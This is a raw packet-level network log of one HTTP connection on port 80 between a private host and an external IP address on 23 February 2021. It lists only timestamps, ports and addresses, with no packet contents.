Feb 23, 2021 10:04:53.223699093 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.223706007 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.223721027 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.223738909 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.223741055 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.223772049 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.224414110 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.272300959 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.272355080 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.272392988 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.272428989 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.272470951 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.272511959 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.272526026 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.272578001 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.272615910 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.272627115 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.272655010 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.272680998 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.272730112 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.272744894 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.272764921 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.272794962 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.272800922 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.272845030 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.272866964 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.272917032 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.272924900 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.272972107 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.272977114 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.273026943 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.273040056 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.273081064 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.273094893 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.273139000 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.273139954 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.273195028 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.273206949 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.273245096 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.273257971 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.273299932 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.273302078 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.273350954 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.273364067 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.273417950 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.273433924 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.273485899 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.273514032 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.273529053 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.273555040 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.273581982 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.273591995 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.273642063 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.273647070 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.273698092 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.273706913 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.273749113 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.273762941 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.273802996 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.273858070 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.273881912 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.273911953 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.273943901 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.273961067 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.274002075 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.274005890 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.274041891 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.274064064 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.274085045 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.274122000 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.274126053 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.274173021 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.274185896 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.274224997 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.274239063 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.274279118 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.274298906 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.274327040 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.274333954 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.274379969 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.274394989 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.274430990 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.274457932 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.274488926 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.274496078 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.274550915 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.274600029 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.274605989 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.274657011 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.274710894 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.274751902 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.274763107 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.274815083 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.274868965 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.274883986 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.274923086 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.274966955 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.274977922 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.275028944 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.275037050 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.275088072 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.275140047 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.275142908 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.275193930 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.275238037 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.275247097 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.275299072 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.275311947 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.275348902 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.275398016 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.275418043 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.275445938 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.275501966 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.275521994 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.275558949 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.275603056 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.275684118 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.275793076 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.275868893 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.275908947 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.275923014 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.275975943 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.275976896 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.276027918 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.276048899 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.276084900 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.276138067 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.276153088 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.276189089 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.276237011 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.276242971 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.276294947 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.276340008 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.276344061 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.276396990 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.276424885 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.276449919 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.276495934 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.276510000 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.276603937 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.277308941 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.277416945 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.277436972 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.277484894 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.277537107 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.277568102 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.277591944 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.277623892 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.277653933 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.277709007 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.277718067 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.277759075 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.277796984 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.277812004 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.277861118 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.277894974 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.277911901 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.277961016 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.278002977 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.278011084 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.278069019 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.278086901 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.278125048 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.278166056 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.278177023 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.278227091 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.278268099 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.278278112 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.278330088 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.278342962 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.278381109 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.278440952 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.278491020 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.278539896 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.278594017 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.278650999 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.278656960 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.278704882 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.278753996 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.278825998 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.278847933 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.278877974 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.278928041 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.278964996 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.278979063 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.279031992 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.279045105 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.279081106 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.279119015 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.279134989 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.279191017 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.287899017 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.288603067 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.327991009 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.328047037 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.328085899 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.328121901 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.328159094 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.328195095 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.328243017 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.328274965 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.328291893 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.328330040 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.328362942 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.328399897 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.328423977 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.328443050 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.328455925 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.328485012 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.328496933 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.328525066 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.328531981 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.328564882 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.328604937 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.328630924 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.328653097 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.328685045 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.328697920 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.328735113 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.328737974 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.328773022 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.328811884 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.328813076 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.328852892 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.328890085 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.328915119 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.328926086 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.328934908 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.328970909 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.329005003 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.329013109 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.329049110 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.329081059 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.329085112 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.329123974 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.329144955 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.329163074 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.329200983 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.329207897 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.329238892 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.329277039 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.329287052 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.329329014 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.329343081 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.329415083 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.329426050 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.329459906 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.329468012 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.329510927 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.329518080 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.329550982 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.329566002 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.329588890 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.329624891 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.329628944 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.329667091 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.329699039 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.329714060 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.329749107 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.329758883 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.329796076 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.329826117 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.329833031 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.329869032 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.329906940 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.329910040 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.329958916 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.329987049 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.330027103 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.330027103 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.330065012 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.330080986 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.330117941 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.330132008 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.330157042 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.330194950 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.330195904 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.330233097 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.330269098 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.330276966 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.330318928 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.330343008 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.330365896 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.330391884 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.330406904 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.330441952 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.330468893 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.330477953 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.330514908 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.330548048 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.330566883 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.330609083 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.330626011 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.330666065 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.330671072 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.330701113 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.330727100 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.330738068 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.330776930 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.330804110 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.330827951 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.330861092 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.330863953 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.330899954 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.330934048 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.330935001 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.330971003 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.331007004 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.331007957 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.331049919 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.331059933 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.331089020 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.331124067 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.331127882 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.331161022 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.331196070 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.331202984 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.331232071 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.331268072 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.331273079 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.331304073 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.331331968 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.331347942 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.331379890 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.331392050 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.331428051 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.331465960 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.331487894 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.331520081 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.331558943 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.331585884 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.331598043 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.331636906 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.331648111 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.331686974 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.331731081 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.331738949 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.331769943 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.331809998 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.331820011 CET	49774	80	192.168.2.6	94.103.94.2
